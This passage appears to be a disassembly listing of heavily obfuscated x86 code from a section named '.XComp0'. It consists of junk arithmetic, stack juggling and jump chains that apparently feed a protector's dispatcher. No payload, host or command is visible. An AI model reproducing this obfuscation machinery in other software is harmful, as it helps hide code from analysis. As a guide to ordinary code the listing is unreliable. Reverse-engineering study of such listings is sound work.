7Ah xor bl, 0C1h shl bl, 1 sub bl, 0FFh not bl sub bl, 57h shr bl, 2 xor bl, 8Dh add bl, 0FFh sub bl, 39h xor bl, 8Ch push eax push ecx mov cl, 0BCh jmp loc_5797CA ; --------------------------------------------------------------------------- loc_582024: ; CODE XREF: .XComp0:0057DF90j add esp, 4 push ebp push eax jmp loc_57D73A ; --------------------------------------------------------------------------- loc_58202E: ; CODE XREF: .XComp0:0057E236j add dword ptr [esp+4], 28F534D8h add [esp+4], ecx jmp loc_57EFF2 ; --------------------------------------------------------------------------- loc_58203F: ; CODE XREF: .XComp0:00579F21j and ah, 54h dec ah sub ah, 0DFh add ah, 73h and dh, ah pop eax xor dh, 6Ch push ebx mov bh, 1Ah shr bh, 6 shr bh, 7 inc bh not bh add bh, 0AEh add al, bh pop ebx add al, dh push ebx jmp loc_57D56F ; --------------------------------------------------------------------------- loc_58206B: ; CODE XREF: .XComp0:0057CEB4j sub esi, eax sub esi, 43AC32A2h jmp loc_579635 ; --------------------------------------------------------------------------- loc_582078: ; CODE XREF: .XComp0:0057EF14j mov esi, [esp] add esp, 4 shl ebx, 5 xor ebx, 3D530DC4h xor edi, ebx jmp loc_577EC1 ; --------------------------------------------------------------------------- loc_58208E: ; CODE XREF: .XComp0:00577BA7j pop edi xchg ecx, [esp] jmp loc_5785CA ; --------------------------------------------------------------------------- loc_582097: ; CODE XREF: .XComp0:00575F7Bj pop eax std push eax jmp loc_58281B ; --------------------------------------------------------------------------- loc_58209F: ; CODE XREF: .XComp0:0057C402j add dword ptr [esp], 31485AB6h jmp loc_57773A ; --------------------------------------------------------------------------- loc_5820AB: ; CODE XREF: .XComp0:00575452j push ecx mov ecx, 0F92F95ADh add edi, ecx pop ecx jmp loc_57D293 ; --------------------------------------------------------------------------- loc_5820B9: ; CODE XREF: .XComp0:00579097j sub esp, 4 jmp loc_575C52 ; --------------------------------------------------------------------------- loc_5820C4: ; CODE XREF: .XComp0:0057A921j push esp pop dword ptr [esp] push edi mov edi, 4 add [esp+4], edi jmp loc_57AC08 ; --------------------------------------------------------------------------- loc_5820D7: ; CODE XREF: .XComp0:00580660j add ebx, edx sub ebx, 74164392h jmp loc_576332 ; --------------------------------------------------------------------------- loc_5820E4: ; CODE XREF: .XComp0:0057CAAAj xor esi, [esp] mov esp, [esp] or ebx, ebx jnz loc_57B149 push 44BDh jmp loc_581B70 ; --------------------------------------------------------------------------- loc_5820FC: ; CODE XREF: .XComp0:00578842j mov dh, bh mov ch, dh pop edx push dword ptr [esp] pop ebx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push cx jmp loc_580D33 ; --------------------------------------------------------------------------- loc_58211F: ; CODE XREF: .XComp0:00576D9Fj push esp push dword ptr [esp] jmp loc_579FF1 ; --------------------------------------------------------------------------- loc_582128: ; CODE XREF: .XComp0:00583277j pop ecx pop bx sub al, 60h add al, bl push 306Fh jmp loc_578101 ; --------------------------------------------------------------------------- loc_582139: ; CODE XREF: .XComp0:005804B5j push ebx jmp loc_57BAA3 ; --------------------------------------------------------------------------- loc_58213F: ; CODE XREF: .XComp0:00582B31j pop esi jmp loc_57A8E7 ; --------------------------------------------------------------------------- loc_582145: ; CODE XREF: .XComp0:0057D1B5j pop ebx add esp, 4 pop ecx jmp loc_579AB5 ; --------------------------------------------------------------------------- loc_58214F: ; CODE XREF: .XComp0:0057FA5Bj push ecx mov ecx, 7E6F7543h jmp loc_576414 ; --------------------------------------------------------------------------- loc_58215A: ; CODE XREF: .XComp0:005830D7j sub edi, ebx pop ebx xchg edi, [esp] pop esp mov [esp], ebx jmp loc_57C74A ; --------------------------------------------------------------------------- loc_582169: ; CODE XREF: .XComp0:0057D06Dj pop ecx add edx, ecx jmp loc_581EEA ; --------------------------------------------------------------------------- loc_582171: ; CODE XREF: .XComp0:0057E8C6j sub esi, edx mov edx, [esp] push 14C3h mov [esp], eax push esp jmp loc_57D0C2 ; --------------------------------------------------------------------------- loc_582184: ; CODE XREF: .XComp0:00580F34j sub edx, ebx add edx, 581D3C2Fh push ebx mov ebx, 517B0BCFh sub ebx, 0FFFFFFFFh jmp loc_57797F ; --------------------------------------------------------------------------- loc_58219A: ; CODE XREF: .XComp0:005828BCj push 199Ch jmp loc_574367 ; --------------------------------------------------------------------------- loc_5821A4: ; CODE XREF: .XComp0:0057B484j push 308Bh mov [esp], ecx mov ecx, 4 add eax, 2F47B2Fh jmp loc_579AF8 ; --------------------------------------------------------------------------- loc_5821BB: ; CODE XREF: .XComp0:00575E1Cj add eax, 0B34E90FFh jmp loc_577363 ; --------------------------------------------------------------------------- loc_5821C5: ; CODE XREF: .XComp0:0058054Cj pop esi jmp loc_57E02A ; --------------------------------------------------------------------------- loc_5821CB: ; CODE XREF: .XComp0:0057A183j sub esi, 68333B4Dh sub ebp, esi pop esi xor ebx, ebp pop ebp inc ebx add ebx, 0A1EABFB1h sub ecx, ebx jmp loc_5737F5 ; --------------------------------------------------------------------------- loc_5821E5: ; CODE XREF: .XComp0:00582878j push ecx jmp loc_579C82 ; --------------------------------------------------------------------------- loc_5821EB: ; CODE XREF: .XComp0:005796F5j pop esi mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add edi, 4 jmp loc_5787D8 ; --------------------------------------------------------------------------- loc_582207: ; CODE XREF: .XComp0:0057FA35j add edi, 0C852F1AEh jmp loc_57859E ; --------------------------------------------------------------------------- loc_582212: ; CODE XREF: .XComp0:005766C9j push ebx mov bl, al push edx mov dh, bl mov cl, dh pop edx pop ebx mov eax, [esp] jmp loc_578725 ; --------------------------------------------------------------------------- loc_582224: ; CODE XREF: .XComp0:00578053j mov [esp], ax jmp loc_573541 ; --------------------------------------------------------------------------- loc_58222D: ; CODE XREF: .XComp0:0057AB08j sub ebx, edi pop edi jmp loc_573812 ; --------------------------------------------------------------------------- loc_582235: ; CODE XREF: .XComp0:0057514Fj push edx mov edx, 37266A24h jmp loc_5829EC ; --------------------------------------------------------------------------- loc_582240: ; CODE XREF: .XComp0:00574287j push 1500h mov [esp], edi jmp loc_57AAC1 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 6A5Dh mov [esp], edi jmp loc_57D242 ; --------------------------------------------------------------------------- loc_58225D: ; CODE XREF: .XComp0:00579E0Bj pop esi push edx mov dx, 364Ah xchg cx, dx neg cx xchg cx, dx push bx mov bx, 55D0h add dx, bx pop bx xor bp, dx pop edx mov bx, bp push dword ptr [esp] pop ebp add esp, 4 push edx mov dx, 6645h and dx, 2430h push cx mov cx, 6C41h jmp loc_57B929 ; --------------------------------------------------------------------------- loc_58229A: ; CODE XREF: .XComp0:00574F11j and eax, edx jmp loc_57B489 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_5822A1: ; CODE XREF: sub_5A47B5-2C596j sub bl, 50h sub bl, 0FFh push ebx jmp loc_57CA46 ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- lodsb xor al, bl push ecx push 13E2h mov [esp], eax push edx mov dl, 7Ch xor dl, 0EFh or dl, 8Ch push cx jmp loc_573C0C ; --------------------------------------------------------------------------- loc_5822C9: ; CODE XREF: .XComp0:0057993Fj mov ebp, 5B251CCDh shl ebp, 5 or ebp, 73181EABh jmp loc_57A1B0 ; --------------------------------------------------------------------------- loc_5822DC: ; CODE XREF: .XComp0:00581203j push edx push eax jmp loc_57E57E ; --------------------------------------------------------------------------- loc_5822E3: ; CODE XREF: .XComp0:005748F0j xor eax, [esp] jmp loc_57F38A ; --------------------------------------------------------------------------- loc_5822EB: ; CODE XREF: .XComp0:0057BA43j pop ecx add esp, 4 or edx, eax shl edx, 1 push esi push 0FFFFFFFFh push dword ptr [esp] mov esi, [esp] add esp, 4 jmp loc_582978 ; --------------------------------------------------------------------------- loc_582307: ; CODE XREF: .XComp0:00581052j add esp, 4 add al, bl push dword ptr [esp] pop ebx add esp, 4 push 253Ah mov [esp], edx mov dl, 7Bh push eax push bx mov bl, 4Fh mov al, bl jmp loc_57F3B8 ; --------------------------------------------------------------------------- loc_58232C: ; CODE XREF: .XComp0:0057E694j push 407Ch mov [esp], eax mov eax, 7A0D4ABAh add eax, 60931130h add eax, 6A7E22FCh xor eax, 24AB2A8Ch push ecx mov ecx, 198E5935h shl ecx, 2 sub ecx, 66C750AAh neg ecx and ecx, 73670BE1h add ecx, 2086F26h jmp loc_57C175 ; --------------------------------------------------------------------------- loc_58236A: ; CODE XREF: .XComp0:00577A88j push ebx mov ebx, esp add ebx, 4 push ebp jmp loc_5740BA ; --------------------------------------------------------------------------- loc_582379: ; CODE XREF: .XComp0:00575656j add esp, 4 push eax jmp loc_57DB5B ; --------------------------------------------------------------------------- loc_582382: ; CODE XREF: .XComp0:00574CF0j sub ecx, edx sub ecx, 5BAE3378h pop edx xchg ecx, [esp] pop esp mov [esp], ecx push 2000000h jmp loc_576839 ; --------------------------------------------------------------------------- loc_58239C: ; CODE XREF: .XComp0:0058047Bj pop esi pop ebp shr esi, 5 shr esi, 7 shr esi, 1 push edx mov edx, 7AD41CFEh jmp loc_582EA8 ; --------------------------------------------------------------------------- loc_5823B1: ; CODE XREF: .XComp0:00580245j mov edi, [esp] jmp loc_57FC93 ; --------------------------------------------------------------------------- loc_5823B9: ; CODE XREF: .XComp0:00577E04j mov edx, 4 add edi, edx mov edx, [esp] add esp, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_57E699 ; --------------------------------------------------------------------------- loc_5823D8: ; CODE XREF: .XComp0:00579CCBj push ax pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_5823E0: ; CODE XREF: .XComp0:0057A9B9j mov [esp], eax jmp loc_5803EA ; --------------------------------------------------------------------------- loc_5823E8: ; CODE XREF: .XComp0:0057AE5Ej mov ecx, esp add ecx, 4 sub esp, 4 mov [esp], edi jmp loc_580E23 ; --------------------------------------------------------------------------- loc_5823FB: ; CODE XREF: .XComp0:0057E987j pop ebp add esp, 4 loc_5823FF: ; CODE XREF: .XComp0:0057E3F4j push 42CBh mov [esp], ebx jmp loc_575DC9 ; --------------------------------------------------------------------------- loc_58240C: ; CODE XREF: .XComp0:0057F95Dj push edx jmp loc_57501D ; --------------------------------------------------------------------------- loc_582412: ; CODE XREF: .XComp0:0057F3A4j add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_577485 ; --------------------------------------------------------------------------- loc_58243F: ; CODE XREF: .XComp0:0057A6D5j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push edx jmp loc_57D2F3 ; --------------------------------------------------------------------------- loc_582452: ; CODE XREF: .XComp0:005744EBj xchg eax, ebx add eax, 7BDF4444h and ecx, eax push dword ptr [esp] pop eax jmp loc_57F7D5 ; --------------------------------------------------------------------------- loc_582463: ; CODE XREF: .XComp0:0057B9EAj mov ebp, 2DD0214Bh add esi, ebp pop ebp push edi mov edi, 5C714D70h jmp loc_57EED0 ; --------------------------------------------------------------------------- loc_582476: ; CODE XREF: .XComp0:0057F784j mov ebp, 544939CAh jmp loc_57A236 ; --------------------------------------------------------------------------- loc_582480: ; CODE XREF: .XComp0:00580F3Ej xor eax, 5920B924h add esi, eax pop eax neg esi sub esi, 0EF4FBC52h mov ebx, esi pop esi xor eax, ebx pop ebx push 1C2Fh mov [esp], edi push ecx push 47F62DB4h pop ecx xor ecx, 38E823A2h jmp loc_57FCEB ; --------------------------------------------------------------------------- loc_5824B0: ; CODE XREF: .XComp0:0057C5DDj add esp, 4 sub eax, ebx push dword ptr [esp] pop ebx push eax jmp loc_58276D ; --------------------------------------------------------------------------- loc_5824C2: ; CODE XREF: .XComp0:00575213j pop esp xchg ebp, [esp] jmp loc_57C041 ; --------------------------------------------------------------------------- loc_5824CB: ; CODE XREF: .XComp0:0057E864j add ecx, 63826641h push 19A8h mov [esp], eax push 7AFh mov [esp], edx mov edx, 24h jmp loc_58061C ; --------------------------------------------------------------------------- push dword ptr [esp] mov edx, [esp] jmp loc_576E0D ; --------------------------------------------------------------------------- loc_5824F6: ; CODE XREF: .XComp0:00578894j pop esp mov dx, [esp] push edx mov edx, esp push ebp mov ebp, 49E069A0h shr ebp, 3 push 0 sub [esp], ebp pop ebp or ebp, 75D3CCFh shl ebp, 7 and ebp, 73D058B0h sub ebp, 63D0407Ch jmp loc_580B6E ; --------------------------------------------------------------------------- loc_58252A: ; CODE XREF: .XComp0:0057BA90j sub esp, 4 jmp loc_579D01 ; --------------------------------------------------------------------------- loc_582535: ; CODE XREF: .XComp0:005755D6j xor edx, [esp] pop esp imul cl movzx cx, ah push small 45D7h mov [esp], cx movzx cx, al push cx pushf jmp loc_577526 ; --------------------------------------------------------------------------- loc_582553: ; CODE XREF: .XComp0:0057ED1Cj add ebp, esi pop esi jmp loc_57A937 ; --------------------------------------------------------------------------- loc_58255B: ; CODE XREF: .XComp0:00578606j add esp, 4 and eax, ebp push dword ptr [esp] pop ebp push ebx mov ebx, esp push 24CBh mov [esp], esi mov esi, 18AB4655h jmp loc_576817 ; --------------------------------------------------------------------------- loc_582579: ; CODE XREF: .XComp0:0057ACD2j pop esi jmp loc_5827C4 ; --------------------------------------------------------------------------- loc_58257F: ; CODE XREF: .XComp0:0057B418j sub ecx, 0D775DABh sub ecx, 110916E9h jmp loc_581265 ; --------------------------------------------------------------------------- loc_582590: ; CODE XREF: .XComp0:00578F6Bj add eax, 5D4058B3h push ebp push eax mov eax, 4CE535E8h jmp loc_5753E7 ; --------------------------------------------------------------------------- loc_5825A1: ; CODE XREF: .XComp0:00574EC2j pop esi push ebp mov ebp, 6E39738Ah not ebp shl ebp, 7 sub ebp, 0E3463A7Ch add esi, ebp pop ebp add esi, 4 xchg esi, [esp] jmp loc_57542F ; --------------------------------------------------------------------------- loc_5825C1: ; CODE XREF: .XComp0:0057D490j shl cl, 8 add cl, 5Bh shl cl, 7 xor cl, 0FCh xor dl, cl pop ecx push edx mov dl, 0F6h jmp loc_57A3AD ; --------------------------------------------------------------------------- loc_5825D8: ; CODE XREF: .XComp0:005830A0j shr edx, 5 add edx, 76E53774h and edx, 5D88130Ch shl edx, 1 sub edx, 8007BADCh and eax, edx pop edx xor eax, 0E9F230A7h sub esi, eax pop eax jmp loc_5807DA ; --------------------------------------------------------------------------- loc_5825FF: ; CODE XREF: .XComp0:0057CCB6j sub esi, 7AAA074Fh pop eax jmp loc_57CF05 ; --------------------------------------------------------------------------- loc_58260B: ; CODE XREF: .XComp0:00573BF8j dec ebp jmp loc_5762AF ; --------------------------------------------------------------------------- loc_582611: ; CODE XREF: .XComp0:0057AD61j mov ecx, esp sub esp, 4 mov [esp], ebp mov ebp, 4 add ecx, ebp mov ebp, [esp] add esp, 4 jmp loc_581F88 ; --------------------------------------------------------------------------- loc_58262E: ; CODE XREF: .XComp0:0057D8E3j pop eax xchg esi, [esp] pop esp and eax, ecx mov ecx, [esp] add esp, 4 or edx, eax shl edx, 1 sub esp, 4 jmp loc_57B377 ; --------------------------------------------------------------------------- loc_58264A: ; CODE XREF: .XComp0:0057FFE8j pop esp add esp, 4 or eax, eax jz loc_579A6C push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] sub esp, 4 mov [esp], eax push 282Ch jmp loc_578D41 ; --------------------------------------------------------------------------- loc_58266F: ; CODE XREF: .XComp0:00574574j pop edi jmp loc_573541 ; --------------------------------------------------------------------------- loc_582675: ; CODE XREF: .XComp0:005767D7j shr ecx, 1 jmp loc_57BEB2 ; --------------------------------------------------------------------------- loc_58267C: ; CODE XREF: .XComp0:00575C47j push 837h mov [esp], ebx jmp loc_580E93 ; --------------------------------------------------------------------------- loc_582689: ; CODE XREF: .XComp0:00575FCBj add esp, 4 neg edx add edx, 0C7D781E4h add eax, edx pop edx jmp loc_57C7BE ; --------------------------------------------------------------------------- pop ebp add [esp+4], eax pop eax pop esi push 718Ch mov [esp], ecx push ebp push 2F875C99h pop ebp shl ebp, 6 jmp loc_575353 ; --------------------------------------------------------------------------- loc_5826BD: ; CODE XREF: .XComp0:00576E72j pop esp jmp loc_582B7F ; --------------------------------------------------------------------------- loc_5826C3: ; CODE XREF: .XComp0:00578EA0j push dword ptr [esp] pop ecx add esp, 4 pop dword ptr [esp] mov esp, [esp] btc [esp], ax pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_5826DB: ; CODE XREF: .XComp0:0057D8BCj xor eax, 2665534Ch push esi mov esi, 47494910h neg esi shl esi, 6 shl esi, 7 xor esi, 4FC0EEB7h add eax, esi pop esi add ebp, 2754C74h jmp loc_57AA21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_582702: ; CODE XREF: sub_5A47B5-3093Dj mov dh, 31h and dh, 43h xor dh, 71h neg dh jmp loc_57C788 ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_582711: ; CODE XREF: .XComp0:0057C117j jmp loc_573541 ; --------------------------------------------------------------------------- loc_582716: ; CODE XREF: .XComp0:0057383Cj push edx push ebx mov ebx, 38E10641h mov edx, 0C71EF9C3h add edx, ebx pop ebx add ebp, 42AC64DFh add ebp, edx push eax mov eax, 42AC64DFh jmp loc_581B09 ; --------------------------------------------------------------------------- loc_582738: ; CODE XREF: .XComp0:00579395j pop esp push bx push ecx jmp loc_582980 ; --------------------------------------------------------------------------- loc_582741: ; CODE XREF: .XComp0:005765C0j push esi push 5F7B4ED8h jmp loc_57BD47 ; --------------------------------------------------------------------------- loc_58274C: ; CODE XREF: .XComp0:0057B882j pop edi xor edi, 229529AEh jmp loc_57D5E9 ; --------------------------------------------------------------------------- loc_582758: ; CODE XREF: .XComp0:0057B1AEj push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_57F5E9 ; --------------------------------------------------------------------------- loc_58276D: ; CODE XREF: .XComp0:005824BDj mov eax, esp add eax, 4 add eax, 4 jmp loc_581752 ; --------------------------------------------------------------------------- loc_58277E: ; CODE XREF: .XComp0:0057E8A6j mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push 64Dh mov [esp], ecx mov ecx, 80000h and eax, ecx push dword ptr [esp] push dword ptr [esp] jmp loc_57C057 ; --------------------------------------------------------------------------- loc_5827AD: ; CODE XREF: .XComp0:0057C235j pop ecx pop dword ptr [esp] pop esp mov cx, [esp] sub esp, 4 mov [esp], ebp jmp loc_57C5E2 ; --------------------------------------------------------------------------- loc_5827C4: ; CODE XREF: .XComp0:0058257Aj push 2A96h mov [esp], ecx mov ecx, 2 add edi, ecx pop ecx jmp loc_57CEB9 ; --------------------------------------------------------------------------- loc_5827D9: ; CODE XREF: .XComp0:00579788j add edi, 58095h sub ecx, edi pop edi push ecx push dword ptr [esp+4] jmp loc_57C8D0 ; --------------------------------------------------------------------------- loc_5827EC: ; CODE XREF: .XComp0:0057B45Ej pop ebx sub edx, 8DFD6C80h jmp loc_57BC46 ; --------------------------------------------------------------------------- loc_5827F8: ; CODE XREF: .XComp0:0058037Aj push dword ptr [esp] mov eax, [esp] add esp, 4 push esi mov esi, esp add esi, 4 jmp loc_574695 ; --------------------------------------------------------------------------- loc_58280F: ; CODE XREF: .XComp0:00582CADj add edx, 4 push edi jmp loc_57C42D ; --------------------------------------------------------------------------- loc_58281B: ; CODE XREF: .XComp0:0058209Aj mov eax, 2991078Ch push eax pop ecx push dword ptr [esp] pop eax add esp, 4 shr ecx, 7 push ebx jmp loc_5749E0 ; --------------------------------------------------------------------------- loc_582835: ; CODE XREF: .XComp0:0057954Cj sub esi, 51205248h push edi mov edi, 171F6048h jmp loc_57C6F5 ; --------------------------------------------------------------------------- loc_582846: ; CODE XREF: .XComp0:005792C2j push edx mov edx, 67CF2BF4h xor edx, 2272711Fh jmp loc_577DE7 ; --------------------------------------------------------------------------- loc_582857: ; CODE XREF: .XComp0:0057916Fj mov cl, 0C1h and cl, 0 shl cl, 4 sub cl, 98h mov dh, cl pop ecx sub ch, dh pop dx jmp loc_57B8B2 ; --------------------------------------------------------------------------- loc_58286E: ; CODE XREF: .XComp0:005793B8j pop ebx jmp loc_57D022 ; --------------------------------------------------------------------------- loc_582874: ; CODE XREF: .XComp0:0057D70Ej or esi, eax pop eax push ebp jmp loc_5821E5 ; --------------------------------------------------------------------------- loc_58287D: ; CODE XREF: .XComp0:0057E598j push eax not dword ptr [esp] jmp loc_57A24B ; --------------------------------------------------------------------------- loc_582886: ; CODE XREF: .XComp0:0057ACC7j push small 0E6Fh mov [esp], bx sub esp, 4 mov [esp], ecx push small 0B9Fh jmp loc_573637 ; --------------------------------------------------------------------------- loc_5828A0: ; CODE XREF: .XComp0:005736D5j shr cl, 8 jmp loc_5737E3 ; --------------------------------------------------------------------------- loc_5828A8: ; CODE XREF: .XComp0:0057441Cj add bx, ax mov eax, [esp] add esp, 4 add bx, ax sub bx, 841h movzx eax, ax jmp loc_58219A ; --------------------------------------------------------------------------- loc_5828C1: ; CODE XREF: .XComp0:00576D8Ej mov [esp], edx jmp loc_5743E2 ; --------------------------------------------------------------------------- mov ax, [esp] push ecx mov ecx, esp push 0BEBh mov [esp], edx mov edx, 4 jmp loc_58024A ; --------------------------------------------------------------------------- loc_5828E2: ; CODE XREF: .XComp0:0057D53Cj add edx, 57F7BB96h or edi, edx jmp loc_577804 ; --------------------------------------------------------------------------- loc_5828EF: ; CODE XREF: .XComp0:0057D9D9j add esp, 4 pop ebx pop edi xor ebp, edx jmp loc_573ABC ; --------------------------------------------------------------------------- loc_5828FB: ; CODE XREF: .XComp0:00575640j pop ecx sub esp, 4 mov [esp], esi jmp loc_581835 ; --------------------------------------------------------------------------- loc_582907: ; CODE XREF: .XComp0:00576A11j shr edx, 2 jmp loc_5748F5 ; --------------------------------------------------------------------------- loc_58290F: ; CODE XREF: .XComp0:00579880j push 1816h mov [esp], edx mov dl, ch push eax mov ah, dl mov bl, ah jmp loc_57A895 ; --------------------------------------------------------------------------- loc_582923: ; CODE XREF: .XComp0:0057A123j xor cl, ah pop eax push ecx mov ch, 38h jmp loc_57A8C0 ; --------------------------------------------------------------------------- loc_58292E: ; CODE XREF: .XComp0:0058010Fj mov edi, edx pop edx add edi, 31063567h jmp loc_57D2AB ; --------------------------------------------------------------------------- loc_58293C: ; CODE XREF: .XComp0:00573CE7j pop ecx sub esp, 4 jmp loc_57E703 ; --------------------------------------------------------------------------- loc_582945: ; CODE XREF: .XComp0:0057B0ABj pop edx jmp loc_578207 ; --------------------------------------------------------------------------- loc_58294B: ; CODE XREF: .XComp0:00579FD1j xchg eax, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop eax push ebx mov ebx, 65447DFFh jmp loc_573AF2 ; --------------------------------------------------------------------------- loc_582965: ; CODE XREF: .XComp0:0057AE40j mov ebx, 44D223EAh inc ebx jmp loc_57C1F9 ; --------------------------------------------------------------------------- loc_582970: ; CODE XREF: .XComp0:0057FC7Aj mov eax, [esp] jmp loc_5809FD ; --------------------------------------------------------------------------- loc_582978: ; CODE XREF: .XComp0:00582302j push ebp mov ebp, esp jmp loc_579D48 ; --------------------------------------------------------------------------- loc_582980: ; CODE XREF: .XComp0:0058273Cj push eax mov al, 96h mov ch, 0F8h sub ch, 9Fh jmp loc_5786BE ; --------------------------------------------------------------------------- loc_58298D: ; CODE XREF: .XComp0:0057D488j mov ecx, edi mov ebp, ecx jmp loc_581DFE ; --------------------------------------------------------------------------- lodsd sub eax, 12942798h sub eax, ebx push esi push eax push esi jmp loc_5764DD ; --------------------------------------------------------------------------- loc_5829A6: ; CODE XREF: .XComp0:00580C20j pop esp add edi, 4 jmp loc_583726 ; --------------------------------------------------------------------------- loc_5829AF: ; CODE XREF: .XComp0:00578FB0j add esp, 4 mov esi, [esp] add esp, 4 and eax, ecx jmp loc_57BA40 ; --------------------------------------------------------------------------- loc_5829C5: ; CODE XREF: .XComp0:00579070j sub edx, 4 xchg edx, [esp] jmp loc_57408D ; --------------------------------------------------------------------------- loc_5829D0: ; CODE XREF: .XComp0:0057FC62j mov eax, 1AC057FBh jmp loc_57EDAA ; --------------------------------------------------------------------------- loc_5829DA: ; CODE XREF: .XComp0:0058128Dj mov edx, [esp] jmp loc_57B80E ; --------------------------------------------------------------------------- loc_5829E2: ; CODE XREF: .XComp0:00575CE4j sub ebp, ebx push dword ptr [esp] jmp loc_57978D ; --------------------------------------------------------------------------- loc_5829EC: ; CODE XREF: .XComp0:0058223Bj sub ebp, 47F23B6Fh sub ebp, edx add ebp, 47F23B6Fh pop edx pop edx add eax, ebp mov ebp, [esp] add esp, 4 xor ebx, eax push dword ptr [eax] jmp loc_573541 ; --------------------------------------------------------------------------- loc_582A0D: ; CODE XREF: .XComp0:0057A43Ej push eax mov eax, 2 push ecx mov ecx, 0D35399Fh and ecx, 5135617Dh not ecx jmp loc_5757A3 ; --------------------------------------------------------------------------- loc_582A26: ; CODE XREF: .XComp0:00577954j mov [esp], edx mov edx, ebp push edx pop eax mov edx, [esp] add esp, 4 pop ebp pop ecx push 66C8h mov [esp], edx mov edx, 67E3240Dh sub edx, 0FFFFFFFFh push eax jmp loc_576F26 ; --------------------------------------------------------------------------- loc_582A4B: ; CODE XREF: .XComp0:00581DC8j mov bl, ah mov eax, [esp] add esp, 4 xor al, bl mov bx, [esp] push 33C5h mov [esp], esi jmp loc_57A8AD ; --------------------------------------------------------------------------- loc_582A69: ; CODE XREF: .XComp0:00573F28j add ecx, edi pop edi push edx mov edx, ecx mov ebx, edx mov edx, [esp] add esp, 4 pop ecx push 3BBh mov [esp], eax push edi jmp loc_57A480 ; --------------------------------------------------------------------------- loc_582A86: ; CODE XREF: .XComp0:0057846Cj push cx not word ptr [esp] mov cx, [esp] jmp loc_576AEA ; --------------------------------------------------------------------------- loc_582A95: ; CODE XREF: .XComp0:00573842j mov ebx, esp push ebp mov ebp, 58A23961h neg ebp xor ebp, edx xor edx, ebp jmp loc_5735B1 ; --------------------------------------------------------------------------- loc_582AA8: ; CODE XREF: .XComp0:0057AD12j push ebx mov ebx, esp jmp loc_573A71 ; --------------------------------------------------------------------------- loc_582AB0: ; CODE XREF: .XComp0:0057B8ADj push dword ptr [esp] pop eax jmp loc_573B89 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ecx push esp pop ecx jmp loc_573C68 ; --------------------------------------------------------------------------- loc_582ACA: ; CODE XREF: .XComp0:0057939Fj mov esi, esp add esi, 4 sub esi, 4 jmp loc_57798C ; --------------------------------------------------------------------------- loc_582ADA: ; CODE XREF: .XComp0:005754EEj push 4ECAh mov [esp], ecx mov ecx, 32754DF7h jmp loc_57C692 ; --------------------------------------------------------------------------- loc_582AEC: ; CODE XREF: .XComp0:00576627j sub al, 1Ch sub al, 67h pop edx add al, 0D3h add al, bl sub al, 0D3h sub al, 17h push ebp push esp pop ebp add ebp, 4 sub ebp, 4 jmp loc_57919F ; --------------------------------------------------------------------------- loc_582B0D: ; CODE XREF: .XComp0:0057A191j add dword ptr [esp+4], 142671C9h add [esp+4], esi sub dword ptr [esp+4], 142671C9h add dword ptr [esp+4], 17615326h add dword ptr [esp+4], 18F17E09h jmp loc_58213F ; --------------------------------------------------------------------------- loc_582B36: ; CODE XREF: .XComp0:0057CA8Fj push ecx push dword ptr [esp+4] push dword ptr [esp] mov ecx, [esp] add esp, 4 push edx mov edx, esp add edx, 4 jmp loc_57F66E ; --------------------------------------------------------------------------- loc_582B55: ; CODE XREF: .XComp0:00582BA4j not ebp inc ebp jmp loc_578224 ; --------------------------------------------------------------------------- loc_582B5D: ; CODE XREF: .XComp0:0057A7B6j push esi sub esp, 4 mov [esp], ebp mov ebp, 1C1662E9h mov esi, ebp mov ebp, [esp] add esp, 4 mov ebx, esi pop esi jmp loc_578DA7 ; --------------------------------------------------------------------------- loc_582B7F: ; CODE XREF: .XComp0:005826BEj add ebx, 2 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp test cl, al pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_582B97: ; CODE XREF: .XComp0:00574C39j push ebp not dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_582B55 ; --------------------------------------------------------------------------- loc_582BA9: ; CODE XREF: .XComp0:00573680j pop ebx push 6105h jmp loc_57A94E ; --------------------------------------------------------------------------- loc_582BB4: ; CODE XREF: .XComp0:00577AD9j shr ecx, 6 push 3110h mov [esp], ebx push esi push ebx mov ebx, 39B919B8h shl ebx, 1 add ebx, 54A2571Fh sub ebx, 0FFFFFFFFh xor ebx, 0C9F603Ah xor ebx, 0F47B8A5Fh mov esi, ebx pop ebx xor [esp+4], esi mov esi, [esp] add esp, 4 pop eax sub esp, 4 mov [esp], ebp push ebx mov ebx, 68044553h jmp loc_580E71 ; --------------------------------------------------------------------------- loc_582C05: ; CODE XREF: .XComp0:005763F6j add dh, bh mov ebx, [esp] add esp, 4 jmp loc_57B9A0 ; --------------------------------------------------------------------------- loc_582C15: ; CODE XREF: .XComp0:0057C3E3j mov ebp, 4 jmp loc_57B922 ; --------------------------------------------------------------------------- loc_582C1F: ; CODE XREF: .XComp0:00575901j sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx jmp loc_57C06F ; --------------------------------------------------------------------------- loc_582C2E: ; CODE XREF: .XComp0:00573EDFj add esp, 4 jmp loc_574555 ; --------------------------------------------------------------------------- loc_582C36: ; CODE XREF: .XComp0:0057430Aj add esp, 4 push dword ptr [eax] jmp loc_57F433 ; --------------------------------------------------------------------------- loc_582C43: ; CODE XREF: .XComp0:0057E1F7j mov dh, bh jmp loc_582F85 ; --------------------------------------------------------------------------- loc_582C4A: ; CODE 